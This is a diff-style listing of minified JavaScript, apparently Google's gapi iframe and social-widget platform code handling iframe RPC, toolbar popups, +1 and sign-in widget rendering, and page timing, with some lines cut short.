+_.Xd=function(a,c,f,g,h,l,n){_.Nd.call(this,a,c,f,g,_.Wd,l,n);this.id=c.id||(0,_.zd)();this.d=h;g._close=this.close;this.onClosed=this.b;this.xn=0;(0,_.Od)(this,function(){this.Sb("beforeparentopen");var a=(0,_.Id)(this.Pa);this.ab._methods=(0,_.Jd)(a,"..",this.mj,this,_.r);var a=(0,_.Cd)(this.Ja.url,this.ab,_.u),a=_.Yd.Jv(_.eb,a,this.id,{}),c=h.vm(a);this.canAutoClose=function(a){a(h.vk(c))};h.Vm(c,this);this.xn=c})};_.Zd=function(a){return _.U.Bf[a]};_.$d=function(a,c){_.U.Bf[a]=c}; _. [...]
+_.U.L=_.U.L||{};_.U.L.up=function(a){try{return!!a.document}catch(c){}return _.u};_.U.L.Zk=function(a){var c=a.parent;return a!=c&&_.U.L.up(c)?_.U.L.Zk(c):a};_.U.L.Mv=function(a){var c=a.userAgent||"";a=a.product||"";return 0!=c.indexOf("Opera")&&-1==c.indexOf("WebKit")&&"Gecko"==a&&0<c.indexOf("rv:1.")};
+if(window.ToolbarApi)_.be=window.ToolbarApi,_.be.na=window.ToolbarApi.getInstance,_.be.prototype=window.ToolbarApi.prototype,_.B=_.be.prototype,_.B.vm=_.be.prototype.openWindow,_.B.xk=_.be.prototype.closeWindow,_.B.Vm=_.be.prototype.setOnCloseHandler,_.B.vk=_.be.prototype.canClosePopup,_.B.Jm=_.be.prototype.resizeWindow;else{_.de=_.s;_.be=(0,_.v)();_.be.na=function(){!_.de&&(window.external&&window.external.GTB_IsToolbar)&&(_.de=new _.be);return _.de};_.B=_.be.prototype;_.B.vm=function(a [...]
+window.external.GTB_OpenPopup(a)};_.B.xk=function(a){window.external.GTB_ClosePopupWindow&&window.external.GTB_ClosePopupWindow(a)};_.B.Vm=function(a,c){window.external.GTB_SetOnCloseHandler&&window.external.GTB_SetOnCloseHandler(a,c)};_.B.vk=function(a){return window.external.GTB_CanClosePopup&&window.external.GTB_CanClosePopup(a)};_.B.Jm=function(a,c){return window.external.GTB_ResizeWindow&&window.external.GTB_ResizeWindow(a,c)};window.ToolbarApi=_.be;window.ToolbarApi.getInstance=_.be.na};
+_.Gd=/^[-_.0-9A-Za-z]+$/;_.Ud={open:"open",onready:"ready",close:"close",onresize:"resize",onOpen:"open",onReady:"ready",onClose:"close",onResize:"resize",onRenderStart:"renderstart"};_.Wd={onBeforeParentOpen:"beforeparentopen"};_.Pd={onOpen:function(a){var c=a.ya;a.Qa(c.container||c.element);return a},onClose:function(a){a.remove()}};_.Dd=window.encodeURIComponent||window.escape;_.U.kq=function(a){var c=(0,_.N)();(0,_.Da)(_.td,c);(0,_.Da)(a,c);return c};_.B=_.Nd.prototype;_.B.ii=(0,_.y)("ya");
+_.B.wb=(0,_.y)("ab");_.B.gi=(0,_.y)("Pa");_.B.ji=(0,_.y)("za");_.B.ea=function(a,c){(0,_.Od)(this,function(){(0,_.Qd)(this,a,c)})};_.B.Xb=function(a,c){(0,_.Od)(this,function(){var f=this.Je[a];if(f)for(var g=0,h=f.length;g<h;++g)if(f[g]===c){f.splice(g,1);break}})};
+_.B.Sb=function(a,c){var f,g=this.Je[a];if(g)for(var h=window.Array.prototype.slice.call(arguments,1),l=0,n=g.length;l<n;++l)try{f=g[l].apply({},h)}catch(q){(0,_.sa)(['Exception when calling callback "',a,'" with exception "',q.name,": ",q.message,'".'].join(""))}return f};(0,_.Md)(_.Td,_.Nd);_.B=_.Td.prototype;
+_.B.Qa=function(a,c){if(!this.Ja.url)return(0,_.sa)("Cannot open iframe, empty URL."),this;var f=this.id;_.U.Uc[f]=this;var g=(0,_.Id)(this.Pa);g._ready=this.Ng;g._close=this.close;g._open=this.wm;g._resizeMe=this.Km;g._renderstart=this.rm;var h=this.i;this.d&&(h.rpctoken=this.d);h._methods=(0,_.Jd)(g,f,"",this,_.r);g=(0,_.Sd)(this);(0,_.Cd)(g,h,_.r);this.V=a="string"===typeof a?window.document.getElementById(a):a;g=(0,_.Sd)(this);g=(0,_.Cd)(g,h,_.r);h={id:f};if(c){h.attributes=c;var l=c [...]
+typeof l){var n;if(l){n=[];for(var l=l.split(";"),q=0,t=l.length;q<t;++q){var w=l[q];0==w.length&&q+1==t||(w=w.split(":"),2==w.length&&w[0].match(/^[ a-zA-Z_-]+$/)&&w[1].match(/^[ +.%0-9a-zA-Z_-]+$/)?n.push(w.join(":")):(0,_.sa)(['Iframe style "',l[q],'" not allowed.'].join("")))}n=n.join(";")}else n="";c.style=n}}this.ya.allowPost&&(h.allowPost=_.r);this.b=(0,_.rd)(g,a,h);_.U.Uc[f]=this;f=g;_.S.Zg(this.id,this.d);_.S.$g(this.id,f);return this};_.B.Da=function(a,c){this.Th[a]=c};_.B.aa=( [...]
+_.B.ca=(0,_.y)("b");_.B.Bq=(0,_.y)("V");_.B.Qc=(0,_.ba)("V");_.B.Ng=function(a){var c=(0,_.Kd)(a,this.id,"");this.za&&"function"==typeof this.Pa._ready&&(a._methods=(0,_.Jd)(c,this.za.aa(),this.id,this,_.u),this.Pa._ready(a));(0,_.Id)(a,this);(0,_.Id)(c,this);this.Sb("ready",a)};_.B.rm=function(a){this.Sb("renderstart",a)};_.B.close=function(a){a=this.Sb("close",a);delete _.U.Uc[this.id];return a};_.B.remove=function(){var a=window.document.getElementById(this.id);a&&a.parentNode&&a.pare [...]
+_.B.wm=function(a){var c=(0,_.Kd)(a.params,this.id,a.proxyId);delete a.params._methods;"_parent"==a.openParams.anchor&&(a.openParams.anchor=this.V);if((0,_.Ld)(a.openParams))new _.Vd(a.url,a.openParams,a.params,c,c._onclose,this,a.openedByProxyChain);else{var f=new _.Td(a.url,a.openParams,a.params,c,c._onclose,this,a.openedByProxyChain),g=this;(0,_.Od)(f,function(){var a={childId:f.aa()},l=f.Th;l._toclose=f.close;a._methods=(0,_.Jd)(l,g.id,f.id,f,_.u);c._onopen(a)})}};
+_.B.Km=function(a){if(this.Sb("resize",a)===_.p&&this.b){var c=(0,_.Rd)(this,a.width);c!=_.s&&(this.b.style.width=c.pd);a=(0,_.Rd)(this,a.height);a!=_.s&&(this.b.style.height=a.pd);if(this.b.parentElement&&(c!=_.s&&c.Yl||a!=_.s&&a.Yl))this.b.parentElement.style.display="block"}};(0,_.Md)(_.Vd,_.Nd);_.Vd.prototype.d=(0,_.y)("b");
+_.Vd.prototype.Wr=function(a){this.b=a.childId;var c=(0,_.Kd)(a,"..",this.b);(0,_.Id)(c,this);this.close=c._toclose;_.U.Uc[this.b]=this;this.za&&this.Pa._onopen&&(a._methods=(0,_.Jd)(c,this.za.aa(),this.b,this,_.u),this.Pa._onopen(a))};_.Vd.prototype.Ng=function(a){var c=(0,window.String)(this.b),f=(0,_.Kd)(a,"..",c);(0,_.Id)(a,this);(0,_.Id)(f,this);this.Sb("ready",a);this.za&&this.Pa._ready&&(a._methods=(0,_.Jd)(f,this.za.aa(),c,this,_.u),this.Pa._ready(a))};
+_.Vd.prototype.Vr=function(a){if(this.za&&this.Pa._onclose)this.Pa._onclose(a);else return a=this.Sb("close",a),delete _.U.Uc[this.b],a};(0,_.Md)(_.Xd,_.Nd);_.Xd.prototype.close=function(a){a=this.Sb("close",a);this.d.xk(this.xn);return a};_.Xd.prototype.b=function(){this.Sb("close")};_.U.Uc={};_.U.Bf={};_.U.Lh={};_.U.Pl=0;_.U.Ug={};_.U.ce={};_.U.Qg=_.s;_.U.Pg=[];
+_.U.as=function(a){var c=_.u;try{if(a!=_.s)var f=window.parent.frames[a.id],c=f.iframer.id==a.id&&f.iframes.openedId_(_.Yc.id)}catch(g){}try{_.U.Qg={origin:this.origin,referer:this.referer,claimedOpenerId:a&&a.id,claimedOpenerProxyChain:a&&a.proxyChain||[],sameOrigin:c};for(a=0;a<_.U.Pg.length;++a)_.U.Pg[a](_.U.Qg);_.U.Pg=[]}catch(h){}};_.U.tq=function(a){var c=a&&a.za,f=_.s;c&&(f={},f.id=c.aa(),f.proxyChain=a.hj);return f};_.S.S("_noop_echo",function(){this.callback(_.U.tq(_.U.Uc[this.f]))});
+if(window.parent!=window){_.ee=_.R.qa();_.ee.gcv&&(0,_.Fd)(_.ee.gcv);_.fe=_.ee.jsh;_.fe&&(0,_.Hd)(_.fe);(0,_.Id)((0,_.Kd)(_.ee,"..",""),_.Yc);(0,_.Id)(_.ee,_.Yc);window.setTimeout(function(){_.S.call("..","_noop_echo",_.U.as)},0)}_.U.va=_.Zd;_.U.oa=_.$d;_.U.Ns=_.ce;_.U.$c=_.ae;_.U.fq=function(a){return _.U.Lh[a]};_.U.uj=function(a,c){_.U.Lh[a]=c};_.U.ts=_.ae;_.U.Us=_.ce;_.U.rg={};_.U.rg.get=_.Zd;_.U.rg.set=_.$d;_.U.jp=function(a,c){(0,_.ud)(a);_.U.ce[a]=c||window[a]};_.U.Gv=function(a){d [...]
+_.U.open=function(a,c,f,g,h,l){3==arguments.length?g={}:4==arguments.length&&"function"===typeof g&&(h=g,g={});var n="bubble"===c.style&&_.be&&_.be.na();return n?new _.Xd(a,c,f,g,n,h,l):(0,_.Ld)(c)?new _.Vd(a,c,f,g,h,l):new _.Td(a,c,f,g,h,l)};_.U.close=function(a,c){_.Yc&&_.Yc._close&&_.Yc._close(a,c)};
+_.U.Wb=function(a,c,f){2==arguments.length&&"function"===typeof h&&(f=c,c={});var g=a||{};"height"in g||(g.height=_.zb.fi());var h=c||{};g._methods=(0,_.Jd)(h,"..","",_.Yc,_.r);_.Yc&&_.Yc._ready&&_.Yc._ready(g,f)};_.U.Uk=function(a){_.U.Qg?a(_.U.Qg):_.U.Pg.push(a)};_.U.Yr=function(a){return!!_.U.Uc[a]};_.U.jq=function(){return["https://ssl.gstatic.com/gb/js/",(0,_.O)("googleapis.config/gcv")].join("")};
+_.U.fs=function(a){var c={mouseover:1,mouseout:1};if(_.Yc._event)for(var f=0;f<a.length;f++){var g=a[f];g in c&&_.R.Fe(window.document,g,function(a){_.Yc._event({event:a.type,timestamp:(new window.Date).getTime()})},_.r)}};_.U.Qs=_.Hd;_.U.tj=function(a){_.Vc.Ah.tj(a)};_.U.Vv=(0,_.v)();_.U.qr=_.Yc;
+(0,_.P)("iframes.allow",_.U.jp);(0,_.P)("iframes.callSiblingOpener",_.U.tp);(0,_.P)("iframes.registerForOpenedSibling",_.U.hs);(0,_.P)("iframes.close",_.U.close);(0,_.P)("iframes.getGoogleConnectJsUri",_.U.jq);(0,_.P)("iframes.getHandler",_.U.va);(0,_.P)("iframes.getDeferredHandler",_.U.fq);(0,_.P)("iframes.getParentInfo",_.U.Uk);(0,_.P)("iframes.iframer",_.U.qr);(0,_.P)("iframes.open",_.U.open);(0,_.P)("iframes.openedId_",_.U.Yr);(0,_.P)("iframes.propagate",_.U.fs);(0,_.P)("iframes.read [...]
+(0,_.P)("iframes.resize",_.U.$c);(0,_.P)("iframes.setGoogleConnectJsVersion",_.U.Ns);(0,_.P)("iframes.setBootstrapHint",_.U.tj);(0,_.P)("iframes.setJsHint",_.U.Qs);(0,_.P)("iframes.setHandler",_.U.oa);(0,_.P)("iframes.setDeferredHandler",_.U.uj);(0,_.P)("IframeBase",_.Nd);(0,_.P)("IframeBase.prototype.addCallback",_.Nd.prototype.ea);(0,_.P)("IframeBase.prototype.getMethods",_.Nd.prototype.gi);(0,_.P)("IframeBase.prototype.getOpenerIframe",_.Nd.prototype.ji);
+(0,_.P)("IframeBase.prototype.getOpenParams",_.Nd.prototype.ii);(0,_.P)("IframeBase.prototype.getParams",_.Nd.prototype.wb);(0,_.P)("IframeBase.prototype.removeCallback",_.Nd.prototype.Xb);(0,_.P)("Iframe",_.Td);(0,_.P)("Iframe.prototype.close",_.Td.prototype.close);(0,_.P)("Iframe.prototype.exposeMethod",_.Td.prototype.Da);(0,_.P)("Iframe.prototype.getId",_.Td.prototype.aa);(0,_.P)("Iframe.prototype.getIframeEl",_.Td.prototype.ca);(0,_.P)("Iframe.prototype.getSiteEl",_.Td.prototype.Bq);
+(0,_.P)("Iframe.prototype.openInto",_.Td.prototype.Qa);(0,_.P)("Iframe.prototype.remove",_.Td.prototype.remove);(0,_.P)("Iframe.prototype.setSiteEl",_.Td.prototype.Qc);(0,_.P)("Iframe.prototype.addCallback",_.Td.prototype.ea);(0,_.P)("Iframe.prototype.getMethods",_.Td.prototype.gi);(0,_.P)("Iframe.prototype.getOpenerIframe",_.Td.prototype.ji);(0,_.P)("Iframe.prototype.getOpenParams",_.Td.prototype.ii);(0,_.P)("Iframe.prototype.getParams",_.Td.prototype.wb);
+(0,_.P)("Iframe.prototype.removeCallback",_.Td.prototype.Xb);(0,_.P)("IframeProxy",_.Vd);(0,_.P)("IframeProxy.prototype.getTargetIframeId",_.Vd.prototype.d);(0,_.P)("IframeProxy.prototype.addCallback",_.Vd.prototype.ea);(0,_.P)("IframeProxy.prototype.getMethods",_.Vd.prototype.gi);(0,_.P)("IframeProxy.prototype.getOpenerIframe",_.Vd.prototype.ji);(0,_.P)("IframeProxy.prototype.getOpenParams",_.Vd.prototype.ii);(0,_.P)("IframeProxy.prototype.getParams",_.Vd.prototype.wb);
+(0,_.P)("IframeProxy.prototype.removeCallback",_.Vd.prototype.Xb);(0,_.P)("IframeWindow",_.Xd);(0,_.P)("IframeWindow.prototype.close",_.Xd.prototype.close);(0,_.P)("IframeWindow.prototype.onClosed",_.Xd.prototype.b);(0,_.P)("iframes.util.getTopMostAccessibleWindow",_.U.L.Zk);(0,_.P)("iframes.handlers.get",_.U.rg.get);(0,_.P)("iframes.handlers.set",_.U.rg.set);(0,_.P)("iframes.resizeMe",_.U.ts);(0,_.P)("iframes.setVersionOverride",_.U.Us);
+
+_.ge=function(a){var c=(0,_.Sa)();return c?c(a):_.u};_.he=(0,_.ta)(_.Pa,"rw",(0,_.N)());
+_.ie=function(a,c){var f=_.he[a];f&&f.state<c&&(f.state=c)};_.ke=function(a){a=(a=_.he[a])?a.oid:_.p;if(a){var c=_.eb.getElementById(a);c&&c.parentNode.removeChild(c);delete _.he[a];(0,_.ke)(a)}};_.le=function(a){a=a.style;a.textIndent="0";a.margin="0";a.padding="0";a.background="transparent";a.borderStyle="none";a.cssFloat="none";a.styleFloat="none";a.lineHeight="normal";a.fontSize="1px";a.verticalAlign="baseline"};
+_.me=function(a){a=a.ya.container;"string"===typeof a&&(a=window.document.getElementById(a));return a};_.ne=function(a){var c=a.clientWidth;return"position:absolute;top:-10000px;width:"+(c?c+"px":a.style.width||"300px")+";margin:0px;border-style:none;"};
+_.oe=function(a,c){var f={};f.width=c?c.width:a.width;f.height=c?c.height:a.height;var g=a.ca(),h=a.aa();(0,_.ie)(h,2);(h=_.he[h])&&(h.args=f);a:{h=g.parentNode;f=f||{};if((0,_.ge)()){if("number"===typeof _.Pa.ucs)break a;var l=g.id;if(l){var n;n=(n=_.he[l])?n.state:_.p;if(1===n||4===n)break a;(0,_.ke)(l)}}n=f.width;f=f.height;(0,_.le)(h);h.style.display="inline-block";g=g.style;g.position="static";g.left=0;g.top=0;g.visibility="visible";n&&(g.width=n+"px");f&&(g.height=f+"px");l&&(0,_.i [...]
+_.pe={open:function(a){var c=(0,_.me)(a);return a.Qa(c,{style:(0,_.ne)(c,a)})},attach:function(a,c){var f=(0,_.me)(a),g=c.id,h=c.getAttribute("data-postorigin")||c.src,l=/#(?:.*&)?rpctoken=(\d+)/.exec(h),l=l&&l[1];a.id=g;a.d=l;a.V=c.parentNode;a.b=c;_.U.Uc[g]=a;l=(0,_.Id)(a.Pa);l._ready=a.Ng;l._close=a.close;l._open=a.wm;l._resizeMe=a.Km;l._renderstart=a.rm;(0,_.Jd)(l,g,"",a,_.r);_.S.Zg(a.id,a.d);_.S.$g(a.id,h);var f=_.U.kq({style:(0,_.ne)(f,a)}),n;for(n in f)window.Object.prototype.hasO [...]
+
+
+_.qe=function(a){var c;a.match(/^https?%3A/i)&&(c=(0,window.decodeURIComponent)(a));a=c?c:a;return(0,_.Ma)(window.document,a)};_.re=function(a){a=a||"canonical";for(var c=window.document.getElementsByTagName("link"),f=0,g=c.length;f<g;f++){var h=c[f],l=h.getAttribute("rel");if(l&&l.toLowerCase()==a&&(h=h.getAttribute("href")))return(0,_.qe)(h)}return window.location.href};_.se=function(a,c,f,g){return(a="string"==typeof a?a:_.p)?(0,_.qe)(a):(0,_.re)(g)};
+_.te=function(a){return"string"==typeof a?""!=a&&"0"!=a&&"false"!=a.toLowerCase():!!a};_.ue=function(a){var c=(0,window.parseInt)(a,10);if(c==a)return(0,window.String)(c)};_.ve=function(a){if((0,_.te)(a))return"true"};_.we=function(a){return"string"==typeof a&&_.xe[a.toLowerCase()]?a.toLowerCase():"standard"};_.ye=function(a,c){return"tall"==(0,_.we)(c)?"true":a==_.s||(0,_.te)(a)?"true":"false"};_.ze=function(a,c,f){a==_.s&&f&&(a=f.db,a==_.s&&(a=f.gwidget&&f.gwidget.db));return a||_.p};
+_.Ae=function(a,c,f){a==_.s&&f&&(a=f.ecp,a==_.s&&(a=f.gwidget&&f.gwidget.ecp));return a||_.p};_.xe={tall:{"true":{width:50,height:60},"false":{width:50,height:24}},small:{"false":{width:24,height:15},"true":{width:70,height:15}},medium:{"false":{width:32,height:20},"true":{width:90,height:20}},standard:{"false":{width:38,height:24},"true":{width:106,height:24}}};
+_.Be={href:[_.se,"url"],width:[_.ue],size:[_.we],resize:[_.ve],autosize:[_.ve],count:[function(a,c){return(0,_.ye)(c.count,c.size)}],db:[_.ze],ecp:[_.Ae],textcolor:[function(a){if("string"==typeof a&&a.match(/^[0-9A-F]{6}$/i))return a}],drm:[_.ve],recommendations:[],fu:[],ad:[_.ve],cr:[_.ue],ag:[_.ue],"fr-ai":[],"fr-sigh":[]};
+
+
+_.Ce=(0,_.Ra)();
+_.De=function(a,c){if(!_.Ee){var f=(0,_.O)("iframes/:socialhost:"),g=(0,_.kd)(_.p)||"0",h=(0,_.kd)(_.p);_.Ee={socialhost:f,session_index:g,session_prefix:h!==_.p&&h!==_.s&&""!==h?"u/"+h+"/":"",im_prefix:(0,_.O)("googleapis.config/signedIn")===_.u?"_/im/":""}}return _.Ee[c]||""};_.Fe=function(a,c,f){return(0,_.se)(a,c,f,c.action?_.p:"publisher")};_.Ge=function(){return window.location.origin||window.location.protocol+"//"+window.location.host};
+_.He=function(a){var c=_.p;"number"===typeof a?c=a:"string"===typeof a&&(c=(0,window.parseInt)(a,10));return c};_.Ie=function(a,c){if("string"==typeof a){a=a.toLowerCase();var f;for(f=0;f<c.length;f++)if(c[f]==a)return a}};_.Je=function(a){return(0,_.Ie)(a,_.Ke)};_.Le=function(a){return(0,_.Ie)(a,_.Me)};_.Ne=function(a){a.source=[_.s,"source"];a.expandTo=[_.s,"expandTo"];a.align=[_.Le];a.annotation=[_.Je];a.origin=[_.Ge]};
+_.Oe=function(a){if(_.Ba.test(window.Object.keys))return window.Object.keys(a);var c=[],f;for(f in a)(0,_.Ca)(a,f)&&c.push(f);return c};
+_.Pe=function(a,c){_.Qe.ps0=(new window.Date).getTime();(0,_.Re)("ps0");var f=("string"===typeof a?window.document.getElementById(a):a)||_.eb,g;g=_.eb.documentMode;if(f.querySelectorAll&&(!g||8<g)){g=c?[c]:(0,_.Oe)(_.Se).concat((0,_.Oe)(_.Te)).concat((0,_.Oe)(_.Ue));for(var h=[],l=0;l<g.length;l++){var n=g[l];h.push(".g-"+n,"g\\:"+n)}g=f.querySelectorAll(h.join(","))}else g=f.getElementsByTagName("*");f=(0,_.N)();for(h=0;h<g.length;h++){l=g[h];var q=l,n=c,t=q.nodeName.toLowerCase(),w=_.p [...]
+n=_.s:(0==t.indexOf("g:")?w=t.substr(2):(q=(q=(0,window.String)(q.className||q.getAttribute("class")))&&_.Ve.exec(q))&&(w=q[1]),n=w&&(_.Se[w]||_.Te[w]||_.Ue[w])&&(!n||w===n)?w:_.s);n&&(l.setAttribute("data-gapiscan",_.r),(0,_.ta)(f,n,[]).push(l))}for(var x in f)_.We.push(x);_.Qe.ps1=(new window.Date).getTime();(0,_.Re)("ps1");(x=_.We.join(":"))&&_.fb.load(x,_.p);var A,l=[];for(A in f){h=f[A];g=0;for(x=h.length;g<x;g++){for(var q=h[g],n=A,t=w=q,q=(0,_.N)(),E=0!=t.nodeName.toLowerCase().in [...]
+J=0,K=t.attributes.length;J<K;J++){var M=t.attributes[J],T=M.name,M=M.value;0<=_.wb.call(_.Xe,T)||(E&&0!=T.indexOf("data-")||"null"===M)||(E&&(T=T.substr(5)),q[T.toLowerCase()]=M)}t=t.style;(E=(0,_.He)(t&&t.height))&&(q.height=(0,window.String)(E));(t=(0,_.He)(t&&t.width))&&(q.width=(0,window.String)(t));(0,_.Ye)(n,w,q,l,x)}}};
+_.Ze=function(a,c){var f=(0,_.ta)(_.Pa,"watt",(0,_.N)())[a];c&&f?(f(c),(f=c.iframeNode)&&f.setAttribute("data-gapiattached",_.r)):_.fb.load(a,function(){var f=(0,_.ta)(_.Pa,"watt",(0,_.N)())[a],h=c&&c.iframeNode;!h||!f?(0,_.fb[a].go)(h&&h.parentNode):(f(c),h.setAttribute("data-gapiattached",_.r))})};
+_.Ye=function(a,c,f,g,h){switch((0,_.$e)(c,a)){case 0:a=_.Ue[a]?a+"_annotation":a;g={};g.iframeNode=c;g.userParams=f;(0,_.Ze)(a,g);break;case 1:if(c.parentNode){var l=_.r;f.dontclear&&(l=_.u);delete f.dontclear;var n,q,t;q=t=a;"plus"==a&&f.action&&(t=a+"_"+f.action,q=a+"/"+f.action);(t=(0,_.O)("iframes/"+t+"/url"))||(t=":socialhost:/_/widget/render/"+q);q=t.replace(_.af,_.De);t={};(0,_.Da)(f,t);t.hl=(0,_.O)("lang")||"en-US";t.origin=(0,_.Ge)();t.exp=(0,_.O)("iframes/"+a+"/params/exp");va [...]
+a+"/params/location");if(w)for(var x=0;x<w.length;x++){var A=w[x];t[A]=_.db.location[A]}switch(a){case "plus":t.url=(0,_.Fe)(t.href,f,_.s);delete t.href;break;case "plusone":case "recobox":t.url=f.href?(0,_.qe)(f.href):(0,_.re)();t.db=(0,_.ze)(f.db,_.p,(0,_.O)());t.ecp=(0,_.Ae)(f.ecp,_.p,(0,_.O)());delete t.href;break;case "signin":t.url=(0,_.re)()}t.hl=(0,_.O)("lang")||"en-US";_.Pa.ILI&&(t.iloader="1");delete t["data-onload"];delete t.rd;t.gsrc=(0,_.O)("iframes/:source:");w=(0,_.O)("inl [...]
+"undefined"!==typeof w&&(0<h&&w>=h)&&(t.ic="1");w=/^#|^fr-/;h={};for(var E in t)(0,_.Ca)(t,E)&&w.test(E)&&(h[E.replace(w,"")]=t[E],delete t[E]);E=[].concat(_.bf);w=(0,_.O)("iframes/"+a+"/methods");"object"===typeof w&&_.Ba.test(w.push)&&(E=E.concat(w));for(n in f)if((0,_.Ca)(f,n)&&/^on/.test(n)&&("plus"!=a||"onconnect"!=n))E.push(n),delete t[n];delete t.callback;h._methods=E.join(",");n=(0,_.La)(q,t,h);f.rd?E=c:(E=window.document.createElement("div"),c.setAttribute("data-gapistub",_.r),E [...]
+"position:absolute;width:100px;left:-10000px;",c.parentNode.insertBefore(E,c));E.id||(c=E,(0,_.ta)(_.Ce,a,0),q="___"+a+"_"+_.Ce[a]++,c.id=q);c=(0,_.N)();c[">type"]=a;(0,_.Da)(f,c);E.setAttribute("data-gwattr",(0,_.Ka)(c).join(":"));c=E;E={allowPost:1,attributes:_.cf};E.dontclear=!l;c=(0,_.rd)(n,c,E);l={};l.userParams=f;l.url=n;l.type=a;l.iframeNode=c;l.id=c.getAttribute("id");f=l.id;c=(0,_.N)();c.id=f;c.userParams=l.userParams;c.url=l.url;c.type=l.type;c.state=1;_.he[f]=c;f=l}else f=_.s; [...]
+g.push(l),(0,_.Ze)(a,f))}};_.$e=function(a,c){if(a&&1===a.nodeType&&c)if(_.Ue[c]){if(_.df[a.nodeName.toLowerCase()]){var f=a.innerHTML;return f&&f.replace(/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}}else{if(_.Te[c])return 0;if(_.Se[c])return 1}return _.s};_.ef=function(a,c,f,g){_.ff[f]=_.ff[f]||!!g;(0,_.ta)(_.gf,f,[]);_.gf[f].push([a,c])};_.Re=function(a,c,f){var g=_.hf.r;"function"===typeof g?g(a,c,f):g.push([a,c,f])};
+_.jf=function(a,c,f,g){"_p"==c&&(0,_.m)((0,window.Error)("m`_p"));(0,_.kf)(c,f)[a]=g||(new window.Date).getTime();(0,_.Re)(a,c,f)};_.kf=function(a,c){var f=(0,_.ta)(_.lf,a,(0,_.N)());return(0,_.ta)(f,c,(0,_.N)())};_.mf=function(a,c,f){var g=_.s;c&&f&&(g=(0,_.kf)(c,f)[a]);return g||_.Qe[a]};_.nf=function(a){this.t={};this.tick=function(a,f,g){this.t[a]=[g!=_.p?g:(new window.Date).getTime(),f]};this.tick("start",_.s,a)};_.of=function(a,c){this.type=!a?"g":"_p"==a?"m":"w";this.name=a;this.b=c};
+_.pf=function(a){var c=[];c.push("l"+((0,_.O)("isPlusUser")?"1":"0"));var f="m"+(_.qf?"1":"0");c.push(f);if("m"==a.type)c.push("p"+a.b);else if("w"==a.type){var g="n"+a.b;c.push(g);"0"==a.b&&c.push(f+g)}return c};_.rf=function(a,c,f){for(var g=new _.of(c,f),h=(0,_.ta)(_.sf,g.key(),(0,_.N)()),l=_.gf[a]||[],n=0;n<l.length;++n){var q=l[n],t=h,w=q[0],x=a,A=c,E=f,q=(0,_.mf)(q[1],A,E),x=(0,_.mf)(x,A,E);t[w]=q&&x?x-q:_.s}_.ff[a]&&_.tf&&((0,_.uf)(_.vf),(0,_.uf)(g))};
+_.wf=function(a,c){c=c||[];for(var f=[],g=0;g<c.length;g++)f.push(a+c[g]);return f};
+_.uf=function(a){var c=_.db.__gapi_jstiming__;c.sn=_.xf[a.type];var f=new c.Timer(0),g;a:{switch(a.type){case "g":g="global";break a;case "m":g=a.b;break a;case "w":g=a.name;break a}g=_.p}f.name=g;g=_.u;var h=a.key(),l=_.sf[h];f.tick("_start",_.s,0);for(var n in l)f.tick(n,"_start",l[n]),g=_.r;_.sf[h]=(0,_.N)();if(g){n=[];g=(0,_.O)("lexps");n=n.concat((0,_.wf)("e",g));n=n.concat((0,_.wf)("",(0,_.pf)(a)));for(h=0;h<_.yf.length;h++)l=_.yf[h],0<=_.wb.call(g,l)&&(n=n.concat((0,_.wf)(l?"e"+l: [...]
+n=(0,_.wf)("abc_",n);c.report(f,{e:n.join(",")})}};_.zf=function(a){var c=(0,_.O)(a);return"undefined"!==typeof c?c:(0,_.O)("gwidget/"+a)};_.Af=function(a){return function(c){var f=a;"number"===typeof c?f=c:"string"===typeof c&&(f=c.indexOf("px"),-1!=f&&(c=c.substring(0,f)),f=(0,window.parseInt)(c,10));return f}};_.Bf=function(a){"string"===typeof a&&(a=window[a]);return"function"===typeof a?a:_.s};_.Cf=function(a,c,f,g){return _.U.open(a,c,f,g)};
+_.Df=function(a,c){for(var f in _.Ef)if(_.Ef.hasOwnProperty(f)){var g=_.Ef[f][1];g&&!c.hasOwnProperty(g)&&(c[g]=a[g])}return c};_.Ff=function(a,c){var f={},g;for(g in a)a.hasOwnProperty(g)&&(f[a[g][1]||g]=(a[g]&&a[g][0]||_.Gf)(c[g],c,_.Hf));return f};_.Gf=function(a){return a};_.If=function(){};_.Ee=_.s;_.af=/:([a-zA-Z_]+):/g;_.bf="onPlusOne _ready _close,_open _resizeMe _renderstart oncircled".split(" ");_.Ke="inline bubble none only pp vertical-bubble".split(" ");_.Me=["left","right"];
+_.Xe=["style","data-gapiscan"];_.cf={style:"position:absolute;top:-10000px;width:300px;margin:0px;borderStyle:none"};_.df={button:_.r,div:_.r,span:_.r};_.Ve=/(?:^|\s)g-((\S)*)(?:$|\s)/;_.Se=(0,_.ta)(_.Pa,"SW",(0,_.N)());_.Te=(0,_.ta)(_.Pa,"SA",(0,_.N)());_.Ue=(0,_.ta)(_.Pa,"SM",(0,_.N)());_.We=(0,_.ta)(_.Pa,"FW",[]);
+(0,_.ta)(_.fb,"platform",{}).go=_.Pe;_.hf=(0,_.ta)(_.Pa,"perf",(0,_.N)());_.Qe=(0,_.ta)(_.hf,"g",(0,_.N)());_.lf=(0,_.ta)(_.hf,"i",(0,_.N)());(0,_.ta)(_.hf,"r",[]);_.ff=(0,_.N)();_.gf=(0,_.N)();_.Jf=new _.nf;window.__gapi_jstiming__={Timer:_.nf,load:_.Jf};if(window.performance&&window.performance.timing){_.Kf=window.performance.timing;_.Lf=window.__gapi_jstiming__.load;_.Mf=_.Kf.navigationStart;_.Nf=_.Kf.responseStart;0<_.Mf&&_.Nf>=_.Mf&&(_.Lf.tick("_wtsrt",_.p,_.Mf),_.Lf.tick("wtsrt_"," [...]
+try{_.Of=_.s;window.chrome&&window.chrome.csi&&(_.Of=window.Math.floor(window.chrome.csi().pageT),_.Lf&&0<_.Mf&&(_.Lf.tick("_tbnd",_.p,window.chrome.csi().startE),_.Lf.tick("tbnd_","_tbnd",_.Mf)));_.Of==_.s&&window.gtbExternal&&(_.Of=window.gtbExternal.pageT());_.Of==_.s&&window.external&&(_.Of=window.external.pageT,_.Lf&&0<_.Mf&&(_.Lf.tick("_tbnd",_.p,window.external.startE),_.Lf.tick("tbnd_","_tbnd",_.Mf)));_.Of&&(window.__gapi_jstiming__.pt=_.Of)}catch(Pf){};
